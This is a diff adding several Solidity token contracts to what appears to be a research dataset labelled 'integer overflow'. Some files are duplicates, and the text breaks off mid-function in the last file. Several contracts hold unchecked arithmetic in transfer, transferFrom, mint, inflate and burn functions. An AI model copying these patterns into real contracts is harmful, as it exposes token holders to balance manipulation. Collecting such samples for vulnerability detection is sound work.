0000000000000000000000000000000000000000..f1d3a9173f4cf28e510670b49acca1297d0f7278 --- /dev/null +++ b/smart_contract_dataset/integer overflow/372.sol @@ -0,0 +1,339 @@ +pragma solidity ^0.4.24; + +library SafeMath { + + function mul(uint a, uint b) internal pure returns (uint) { + uint c = a * b; + require(a == 0 || c / a == b); + return c; + } + + function div(uint a, uint b) internal pure returns (uint) { + uint c = a / b; + return c; + } + + function sub(uint a, uint b) internal pure returns (uint) { + require(b <= a); + return a - b; + } + + function add(uint a, uint b) internal pure returns (uint) { + uint c = a + b; + require(c >= a); + return c; + } + + function max(uint a, uint b) internal pure returns (uint) { + return a >= b ? a : b; + } + + function min(uint a, uint b) internal pure returns (uint) { + return a < b ? a : b; + } + +} + + + + + + + +contract MntToken { + + + event Transfer(address indexed from, address indexed to, uint value); + event Approval(address indexed owner, address indexed spender, uint value); + event Burn(address indexed from, uint value); + event TransferLocked(address indexed from, address indexed to, uint value, uint8 locktype); + event Purchased(address indexed recipient, uint purchase, uint amount); + + + using SafeMath for uint; + + + address public owner; + bool public frozen = false; + + + uint8 constant public decimals = 6; + uint public totalSupply = 100*10**(8+uint256(decimals)); + string constant public name = "MDEX Platform Token | Mongolia National Blockchain Digital Assets Exchange Token"; + string constant public symbol = "MNT"; + + mapping(address => uint) ownerance; + mapping(address => mapping(address => uint)) public allowance; + + + uint8 LOCKED_TYPE_MAX = 2; + uint private constant RELEASE_BASE_TIME = 1533686888; + address[] private lockedOwner; + mapping(address => uint) public lockedance; + mapping(address => uint8) public lockedtype; + mapping(address => uint8) public unlockedstep; + + uint public totalCirculating; + + + + + modifier isOwner() { + require(msg.sender == owner); + _; + } + + modifier isNotFrozen() { + require(!frozen); + _; + } + + + modifier hasEnoughBalance(uint _amount) { + require(ownerance[msg.sender] >= _amount); + _; + } + + modifier overflowDetected(address _owner, uint _amount) { + require(ownerance[_owner] + _amount >= ownerance[_owner]); + _; + } + + modifier hasAllowBalance(address _owner, address _allower, uint _amount) { + require(allowance[_owner][_allower] >= _amount); + _; + } + + modifier isNotEmpty(address _addr, uint _value) { + require(_addr != address(0)); + require(_value != 0); + _; + } + + modifier isValidAddress { + assert(0x0 != msg.sender); + _; + } + + + modifier hasntLockedBalance(address _checker) { + require(lockedtype[_checker] == 0); + _; + } + + modifier checkLockedType(uint8 _locktype) { + require(_locktype > 0 && _locktype <= LOCKED_TYPE_MAX); + _; + } + + + constructor() public { + owner = msg.sender; + ownerance[msg.sender] = totalSupply; + totalCirculating = totalSupply; + emit Transfer(address(0), msg.sender, totalSupply); + } + + + function approve(address _spender, uint _value) + isNotFrozen + isValidAddress + public returns (bool success) + { + require(_value == 0 || allowance[msg.sender][_spender] == 0); + allowance[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + function transferFrom(address _from, address _to, uint _value) + isNotFrozen + isValidAddress + overflowDetected(_to, _value) + public returns (bool success) + { + require(ownerance[_from] >= _value); + require(allowance[_from][msg.sender] >= _value); + + ownerance[_to] = ownerance[_to].add(_value); + ownerance[_from] = ownerance[_from].sub(_value); + allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); + emit Transfer(_from, _to, _value); + return true; + } + + function balanceOf(address _owner) public + constant returns (uint balance) + { + balance = ownerance[_owner] + lockedance[_owner]; + return balance; + } + + + function available(address _owner) public + constant returns (uint) + { + return ownerance[_owner]; + } + + function transfer(address _to, uint _value) public + isNotFrozen + isValidAddress + isNotEmpty(_to, _value) + hasEnoughBalance(_value) + overflowDetected(_to, _value) + returns (bool success) + { + ownerance[msg.sender] = ownerance[msg.sender].sub(_value); + ownerance[_to] = ownerance[_to].add(_value); + emit Transfer(msg.sender, _to, _value); + return true; + } + + + function transferOwner(address _newOwner) + isOwner + public returns (bool success) + { + if (_newOwner != address(0)) { + owner = _newOwner; + } + return true; + } + + function freeze() + isOwner + public returns (bool success) + { + frozen = true; + return true; + } + + function unfreeze() + isOwner + public returns (bool success) + { + frozen = false; + return true; + } + + function burn(uint _value) + isNotFrozen + isValidAddress + hasEnoughBalance(_value) + public returns (bool success) + { + ownerance[msg.sender] = ownerance[msg.sender].sub(_value); + ownerance[0x0] = ownerance[0x0].add(_value); + totalSupply = totalSupply.sub(_value); + totalCirculating = totalCirculating.sub(_value); + emit Burn(msg.sender, _value); + return true; + } + + + function transferLocked(address _to, uint _value, uint8 _locktype) public + isNotFrozen + isOwner + isValidAddress + isNotEmpty(_to, _value) + hasEnoughBalance(_value) + hasntLockedBalance(_to) + checkLockedType(_locktype) + returns (bool success) + { + require(msg.sender != _to); + ownerance[msg.sender] = ownerance[msg.sender].sub(_value); + if (_locktype == 1) { + lockedance[_to] = _value; + lockedtype[_to] = _locktype; + lockedOwner.push(_to); + totalCirculating = totalCirculating.sub(_value); + emit TransferLocked(msg.sender, _to, _value, _locktype); + } else if (_locktype == 2) { + uint _first = _value / 100 * 8; + ownerance[_to] = ownerance[_to].add(_first); + lockedance[_to] = _value.sub(_first); + lockedtype[_to] = _locktype; + lockedOwner.push(_to); + totalCirculating = totalCirculating.sub(_value.sub(_first)); + emit Transfer(msg.sender, _to, _first); + emit TransferLocked(msg.sender, _to, _value.sub(_first), _locktype); + } + return true; + } + + + + + + + + function unlock(address _locker, uint _delta, uint8 _locktype) private + returns (bool success) + { + if (_locktype == 1) { + if (_delta < 6 * 30 days) { + return false; + } + uint _more1 = _delta.sub(6 * 30 days); + uint _step1 = _more1 / 30 days; + for(uint8 i = 0; i < 10; i++) { + if (unlockedstep[_locker] == i && i < 9 && i <= _step1 ) { + ownerance[_locker] = ownerance[_locker].add(lockedance[_locker] / (10 - i)); + lockedance[_locker] = lockedance[_locker].sub(lockedance[_locker] / (10 - i)); + unlockedstep[_locker] = i + 1; + } else if (i == 9 && unlockedstep[_locker] == 9 && _step1 == 9){ + ownerance[_locker] = ownerance[_locker].add(lockedance[_locker]); + lockedance[_locker] = 0; + unlockedstep[_locker] = 0; + lockedtype[_locker] = 0; + } + } + } else if (_locktype == 2) { + if (_delta < 30 days) { + return false; + } + uint _more2 = _delta - 30 days; + uint _step2 = _more2 / 30 days; + for(uint8 j = 0; j < 11; j++) { + if (unlockedstep[_locker] == j && j < 10 && j <= _step2 ) { + ownerance[_locker] = ownerance[_locker].add(lockedance[_locker] / (11 - j)); + lockedance[_locker] = lockedance[_locker].sub(lockedance[_locker] / (11 - j)); + unlockedstep[_locker] = j + 1; + } else if (j == 10 && unlockedstep[_locker] == 10 && _step2 == 10){ + ownerance[_locker] = ownerance[_locker].add(lockedance[_locker]); + lockedance[_locker] = 0; + unlockedstep[_locker] = 0; + lockedtype[_locker] = 0; + } + } + } + return true; + } + + function lockedCounts() public view + returns (uint counts) + { + return lockedOwner.length; + } + + function releaseLocked() public + isNotFrozen + returns (bool success) + { + require(now > RELEASE_BASE_TIME); + uint delta = now - RELEASE_BASE_TIME; + uint lockedAmount; + for (uint i = 0; i < lockedOwner.length; i++) { + if ( lockedance[lockedOwner[i]] > 0) { + lockedAmount = lockedance[lockedOwner[i]]; + unlock(lockedOwner[i], delta, lockedtype[lockedOwner[i]]); + totalCirculating = totalCirculating.add(lockedAmount - lockedance[lockedOwner[i]]); + } + } + return true; + } + + +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/375.sol b/smart_contract_dataset/integer overflow/375.sol new file mode 100644 index 0000000000000000000000000000000000000000..b7b711f74d06588735bdd49b5242037746ba7e80 --- /dev/null +++ b/smart_contract_dataset/integer overflow/375.sol @@ -0,0 +1,115 @@ +pragma solidity ^0.4.10; + + +contract SafeMath { + function safeAdd(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x + y; + assert((z >= x) && (z >= y)); + return z; + } + + function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { + assert(x >= y); + uint256 z = x - y; + return z; + } + + function safeMult(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x * y; + assert((x == 0)||(z/x == y)); + return z; + } + +} + +contract Token { + uint256 public totalSupply; + function balanceOf(address _owner) constant returns (uint256 balance); + function transfer(address _to, uint256 _value) returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + function approve(address _spender, uint256 _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + +} + + + +contract StandardToken is Token , SafeMath { + + bool public status = true; + modifier on() { + require(status == true); + _; + } + + function transfer(address _to, uint256 _value) on returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0 && _to != 0X0) { + balances[msg.sender] -= _value; + balances[_to] = safeAdd(balances[_to],_value); + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) on returns (bool success) { + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] = safeAdd(balances[_to],_value); + balances[_from] = safeSubtract(balances[_from],_value); + allowed[_from][msg.sender] = safeSubtract(allowed[_from][msg.sender],_value); + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) on constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) on returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) on constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + + + + +contract ExShellToken is StandardToken { + string public name = "ExShellToken"; + uint8 public decimals = 8; + string public symbol = "ET"; + bool private init =true; + function turnon() controller { + status = true; + } + function turnoff() controller { + status = false; + } + function ExShellToken() { + require(init==true); + totalSupply = 2000000000; + balances[0xa089a405b1df71a6155705fb2bce87df2a86a9e4] = totalSupply; + init = false; + } + address public controller1 =0xa089a405b1df71a6155705fb2bce87df2a86a9e4; + address public controller2 =0x5aa64423529e43a53c7ea037a07f94abc0c3a111; + + modifier controller () { + require(msg.sender == controller1||msg.sender == controller2); + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/385.sol b/smart_contract_dataset/integer overflow/385.sol new file mode 100644 index 0000000000000000000000000000000000000000..71c288087031a86ac33a2dcb0c8df18030030a90 --- /dev/null +++ b/smart_contract_dataset/integer overflow/385.sol @@ -0,0 +1,98 @@ +pragma solidity ^0.4.24; + + +contract Ownable { + address public owner; + + + constructor() public { + owner = msg.sender; + } + + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + + function transferOwnership(address newOwner) public onlyOwner { + if (newOwner != address(0)) { + owner = newOwner; + } + } + +} + + +contract HelpingBlocksContract is Ownable { + string public name; + string public symbol; + uint public decimals; + uint public totalSupply; + string public description; + bool public donationClosed = false; + + mapping (address => uint256) public balanceOf; + + mapping (address => uint256) public myDonation; + event Transfer(address indexed from, address indexed to, uint256 value); + + + + constructor() public { + name = 'Helping Blocks Token'; + symbol = 'HBT'; + decimals = 0; + totalSupply = 10000000; + description = "Kerala Flood Relief Fund"; + balanceOf[owner] = totalSupply; + } + + + function _transfer(address _from, address _to, uint _value) internal { + balanceOf[_from] -= _value; + balanceOf[_to] += _value; + emit Transfer(_from, _to, _value); + } + + + function transfer(address _to, uint256 _value) public onlyOwner returns(bool success) { + _transfer(owner, _to, _value); + return true; + } + + + function disableDonation() public onlyOwner returns(bool success) { + donationClosed = true; + return true; + } + + + + function enableDonation() public onlyOwner returns(bool success) { + donationClosed = false; + return true; + } + + function setDescription(string str) public onlyOwner returns(bool success) { + description = str; + return true; + } + + + + function () payable public { + require(!donationClosed); + myDonation[msg.sender] += msg.value; + if (balanceOf[msg.sender] < 1) { + _transfer(owner, msg.sender, 1); + } + } + + function safeWithdrawal(uint256 _value) payable public onlyOwner { + owner.transfer(_value); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/394.sol b/smart_contract_dataset/integer overflow/394.sol new file mode 100644 index 0000000000000000000000000000000000000000..b7b711f74d06588735bdd49b5242037746ba7e80 --- /dev/null +++ b/smart_contract_dataset/integer overflow/394.sol @@ -0,0 +1,115 @@ +pragma solidity ^0.4.10; + + +contract SafeMath { + function safeAdd(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x + y; + assert((z >= x) && (z >= y)); + return z; + } + + function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { + assert(x >= y); + uint256 z = x - y; + return z; + } + + function safeMult(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x * y; + assert((x == 0)||(z/x == y)); + return z; + } + +} + +contract Token { + uint256 public totalSupply; + function balanceOf(address _owner) constant returns (uint256 balance); + function transfer(address _to, uint256 _value) returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + function approve(address _spender, uint256 _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + +} + + + +contract StandardToken is Token , SafeMath { + + bool public status = true; + modifier on() { + require(status == true); + _; + } + + function transfer(address _to, uint256 _value) on returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0 && _to != 0X0) { + balances[msg.sender] -= _value; + balances[_to] = safeAdd(balances[_to],_value); + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) on returns (bool success) { + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] = safeAdd(balances[_to],_value); + balances[_from] = safeSubtract(balances[_from],_value); + allowed[_from][msg.sender] = safeSubtract(allowed[_from][msg.sender],_value); + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) on constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) on returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) on constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + + + + +contract ExShellToken is StandardToken { + string public name = "ExShellToken"; + uint8 public decimals = 8; + string public symbol = "ET"; + bool private init =true; + function turnon() controller { + status = true; + } + function turnoff() controller { + status = false; + } + function ExShellToken() { + require(init==true); + totalSupply = 2000000000; + balances[0xa089a405b1df71a6155705fb2bce87df2a86a9e4] = totalSupply; + init = false; + } + address public controller1 =0xa089a405b1df71a6155705fb2bce87df2a86a9e4; + address public controller2 =0x5aa64423529e43a53c7ea037a07f94abc0c3a111; + + modifier controller () { + require(msg.sender == controller1||msg.sender == controller2); + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/465.sol b/smart_contract_dataset/integer overflow/465.sol new file mode 100644 index 0000000000000000000000000000000000000000..b7b711f74d06588735bdd49b5242037746ba7e80 --- /dev/null +++ b/smart_contract_dataset/integer overflow/465.sol @@ -0,0 +1,115 @@ +pragma solidity ^0.4.10; + + +contract SafeMath { + function safeAdd(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x + y; + assert((z >= x) && (z >= y)); + return z; + } + + function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { + assert(x >= y); + uint256 z = x - y; + return z; + } + + function safeMult(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x * y; + assert((x == 0)||(z/x == y)); + return z; + } + +} + +contract Token { + uint256 public totalSupply; + function balanceOf(address _owner) constant returns (uint256 balance); + function transfer(address _to, uint256 _value) returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + function approve(address _spender, uint256 _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + +} + + + +contract StandardToken is Token , SafeMath { + + bool public status = true; + modifier on() { + require(status == true); + _; + } + + function transfer(address _to, uint256 _value) on returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0 && _to != 0X0) { + balances[msg.sender] -= _value; + balances[_to] = safeAdd(balances[_to],_value); + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) on returns (bool success) { + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] = safeAdd(balances[_to],_value); + balances[_from] = safeSubtract(balances[_from],_value); + allowed[_from][msg.sender] = safeSubtract(allowed[_from][msg.sender],_value); + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) on constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) on returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) on constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + + + + +contract ExShellToken is StandardToken { + string public name = "ExShellToken"; + uint8 public decimals = 8; + string public symbol = "ET"; + bool private init =true; + function turnon() controller { + status = true; + } + function turnoff() controller { + status = false; + } + function ExShellToken() { + require(init==true); + totalSupply = 2000000000; + balances[0xa089a405b1df71a6155705fb2bce87df2a86a9e4] = totalSupply; + init = false; + } + address public controller1 =0xa089a405b1df71a6155705fb2bce87df2a86a9e4; + address public controller2 =0x5aa64423529e43a53c7ea037a07f94abc0c3a111; + + modifier controller () { + require(msg.sender == controller1||msg.sender == controller2); + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/520.sol b/smart_contract_dataset/integer overflow/520.sol new file mode 100644 index 0000000000000000000000000000000000000000..8755fef9210e8f30bef4c60c0008a915cc74e875 --- /dev/null +++ b/smart_contract_dataset/integer overflow/520.sol @@ -0,0 +1,153 @@ +pragma solidity ^0.4.24; + + +contract SafeMath { + function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + uint256 c = a * b; + assert(c / a == b); + return c; + } + + function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b > 0); + uint256 c = a / b; + assert(a == b * c + a % b); + return c; + } + + function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c>=a && c>=b); + return c; + } + +} + +contract HeavenlyHoundCoin is SafeMath { + address public owner; + string public name; + string public symbol; + uint public decimals; + uint256 public totalSupply; + + mapping (address => uint256) public balanceOf; + mapping (address => mapping (address => uint256)) public allowance; + + event Transfer(address indexed from, address indexed to, uint256 value); + event Burn(address indexed from, uint256 value); + event Approval(address indexed owner, address indexed spender, uint256 value); + + mapping (address => bool) public frozenAccount; + event FrozenFunds(address target, bool frozen); + + bool lock = false; + + constructor( + uint256 initialSupply, + string tokenName, + string tokenSymbol, + uint decimalUnits + ) public { + owner = msg.sender; + name = tokenName; + symbol = tokenSymbol; + decimals = decimalUnits; + totalSupply = initialSupply * 10 ** uint256(decimals); + balanceOf[msg.sender] = totalSupply; + } + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + modifier isLock { + require(!lock); + _; + } + + function setLock(bool _lock) onlyOwner public{ + lock = _lock; + } + + function transferOwnership(address newOwner) onlyOwner public { + if (newOwner != address(0)) { + owner = newOwner; + } + } + + + function _transfer(address _from, address _to, uint _value) isLock internal { + require (_to != 0x0); + require (balanceOf[_from] >= _value); + require (balanceOf[_to] + _value > balanceOf[_to]); + require(!frozenAccount[_from]); + require(!frozenAccount[_to]); + balanceOf[_from] -= _value; + balanceOf[_to] += _value; + emit Transfer(_from, _to, _value); + } + + function transfer(address _to, uint256 _value) public returns (bool success) { + _transfer(msg.sender, _to, _value); + return true; + } + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { + require(_value <= allowance[_from][msg.sender]); + allowance[_from][msg.sender] -= _value; + _transfer(_from, _to, _value); + return true; + } + + function approve(address _spender, uint256 _value) public returns (bool success) { + allowance[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + function burn(uint256 _value) onlyOwner public returns (bool success) { + require(balanceOf[msg.sender] >= _value); + balanceOf[msg.sender] -= _value; + totalSupply -= _value; + emit Burn(msg.sender, _value); + return true; + } + + function burnFrom(address _from, uint256 _value) onlyOwner public returns (bool success) { + require(balanceOf[_from] >= _value); + require(_value <= allowance[_from][msg.sender]); + balanceOf[_from] -= _value; + allowance[_from][msg.sender] -= _value; + totalSupply -= _value; + emit Burn(_from, _value); + return true; + } + + function mintToken(address target, uint256 mintedAmount) onlyOwner public { + uint256 _amount = mintedAmount * 10 ** uint256(decimals); + balanceOf[target] += _amount; + totalSupply += _amount; + emit Transfer(this, target, _amount); + } + + function freezeAccount(address target, bool freeze) onlyOwner public { + frozenAccount[target] = freeze; + emit FrozenFunds(target, freeze); + } + + function transferBatch(address[] _to, uint256 _value) public returns (bool success) { + for (uint i=0; i<_to.length; i++) { + _transfer(msg.sender, _to[i], _value); + } + return true; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/544.sol b/smart_contract_dataset/integer overflow/544.sol new file mode 100644 index 0000000000000000000000000000000000000000..261d9da8c427bd164794412c85bc1dafab5668e9 --- /dev/null +++ b/smart_contract_dataset/integer overflow/544.sol @@ -0,0 +1,107 @@ +pragma solidity ^0.4.16; +contract Token{ + uint256 public totalSupply; + + function balanceOf(address _owner) public constant returns (uint256 balance); + function transfer(address _to, uint256 _value) public returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) public returns + (bool success); + + function approve(address _spender, uint256 _value) public returns (bool success); + + function allowance(address _owner, address _spender) public constant returns + (uint256 remaining); + + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 + _value); + event Burn(address indexed from, uint256 value); + event Inflat(address indexed from, uint256 value); + +} + +contract HNContract is Token { + + + + + + uint8 constant public decimals = 18; + string constant public name = "HNContract"; + string constant public symbol = "NN"; + uint public totalSupply = 1000000000 * 10 ** uint256(decimals); + address contract_creator; + + + + function HNContract() public { + + + balances[msg.sender] = totalSupply; + + contract_creator=msg.sender; + + + + } + + function inflat(uint256 _value) public returns(bool success){ + require(msg.sender == contract_creator); + require(_value > 0); + totalSupply += _value; + balances[contract_creator] +=_value; + Inflat(contract_creator, _value); + return true; + } + + function transfer(address _to, uint256 _value) public returns (bool success) { + + + require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]); + require(_to != 0x0); + balances[msg.sender] -= _value; + balances[_to] += _value; + Transfer(msg.sender, _to, _value); + return true; + } + + + function transferFrom(address _from, address _to, uint256 _value) public returns + (bool success) { + require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); + balances[_to] += _value; + balances[_from] -= _value; + allowed[_from][msg.sender] -= _value; + Transfer(_from, _to, _value); + return true; + } + function balanceOf(address _owner) public constant returns (uint256 balance) { + return balances[_owner]; + } + + + function approve(address _spender, uint256 _value) public returns (bool success) + { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + function burn(uint256 _value) public { + require(_value > 0); + require(_value <= balances[msg.sender]); + + + + address burner = msg.sender; + balances[burner] -= _value; + totalSupply -=_value; + Burn(burner, _value); + } + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/566.sol b/smart_contract_dataset/integer overflow/566.sol new file mode 100644 index 0000000000000000000000000000000000000000..8a013d657617ec3395d2a4d0ae440b842e6e02a7 --- /dev/null +++ b/smart_contract_dataset/integer overflow/566.sol @@ -0,0 +1,60 @@ +pragma solidity ^0.4.21; +contract Token{ + uint256 public totalSupply; + + function balanceOf(address _owner) public constant returns (uint256 balance); + function transfer(address _to, uint256 _value) public returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); + function approve(address _spender, uint256 _value) public returns (bool success); + function allowance(address _owner, address _spender) public constant returns (uint256 remaining); + + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); +} + +contract CYFToken is Token { + + string public name = "ÆòÁ¦ÂíÔúÂÞµÄÑ©CYF"; + uint8 public decimals = 18; + string public symbol = "CYF"; + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; + + function CYFToken() public { + totalSupply = 7000000000 * (10 ** (uint256(decimals))); + balances[msg.sender] = totalSupply; + } + + function transfer(address _to, uint256 _value) public returns (bool success) { + + + require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]); + require(_to != 0x0); + balances[msg.sender] -= _value; + balances[_to] += _value; + emit Transfer(msg.sender, _to, _value); + return true; + } + function transferFrom(address _from, address _to, uint256 _value) public returns + (bool success) { + require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); + balances[_to] += _value; + balances[_from] -= _value; + allowed[_from][msg.sender] -= _value; + emit Transfer(_from, _to, _value); + return true; + } + function balanceOf(address _owner) public constant returns (uint256 balance) { + return balances[_owner]; + } + function approve(address _spender, uint256 _value) public returns (bool success) + { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/607.sol b/smart_contract_dataset/integer overflow/607.sol new file mode 100644 index 0000000000000000000000000000000000000000..b7b711f74d06588735bdd49b5242037746ba7e80 --- /dev/null +++ b/smart_contract_dataset/integer overflow/607.sol @@ -0,0 +1,115 @@ +pragma solidity ^0.4.10; + + +contract SafeMath { + function safeAdd(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x + y; + assert((z >= x) && (z >= y)); + return z; + } + + function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { + assert(x >= y); + uint256 z = x - y; + return z; + } + + function safeMult(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x * y; + assert((x == 0)||(z/x == y)); + return z; + } + +} + +contract Token { + uint256 public totalSupply; + function balanceOf(address _owner) constant returns (uint256 balance); + function transfer(address _to, uint256 _value) returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + function approve(address _spender, uint256 _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + +} + + + +contract StandardToken is Token , SafeMath { + + bool public status = true; + modifier on() { + require(status == true); + _; + } + + function transfer(address _to, uint256 _value) on returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0 && _to != 0X0) { + balances[msg.sender] -= _value; + balances[_to] = safeAdd(balances[_to],_value); + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) on returns (bool success) { + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] = safeAdd(balances[_to],_value); + balances[_from] = safeSubtract(balances[_from],_value); + allowed[_from][msg.sender] = safeSubtract(allowed[_from][msg.sender],_value); + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) on constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) on returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) on constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + + + + +contract ExShellToken is StandardToken { + string public name = "ExShellToken"; + uint8 public decimals = 8; + string public symbol = "ET"; + bool private init =true; + function turnon() controller { + status = true; + } + function turnoff() controller { + status = false; + } + function ExShellToken() { + require(init==true); + totalSupply = 2000000000; + balances[0xa089a405b1df71a6155705fb2bce87df2a86a9e4] = totalSupply; + init = false; + } + address public controller1 =0xa089a405b1df71a6155705fb2bce87df2a86a9e4; + address public controller2 =0x5aa64423529e43a53c7ea037a07f94abc0c3a111; + + modifier controller () { + require(msg.sender == controller1||msg.sender == controller2); + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/633.sol b/smart_contract_dataset/integer overflow/633.sol new file mode 100644 index 0000000000000000000000000000000000000000..8a9b3131dc36ffc05cf052e49d28be09984df71f --- /dev/null +++ b/smart_contract_dataset/integer overflow/633.sol @@ -0,0 +1,149 @@ +pragma solidity ^0.4.18; + +contract Token { + uint256 public totalSupply; + function balanceOf(address _owner) constant returns (uint256 balance); + function transfer(address _to, uint256 _value) returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + function approve(address _spender, uint256 _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); +} + + + +contract StandardToken is Token { + + function transfer(address _to, uint256 _value) returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0) { + balances[msg.sender] -= _value; + balances[_to] += _value; + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] += _value; + balances[_from] -= _value; + allowed[_from][msg.sender] -= _value; + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) returns (bool success) { + 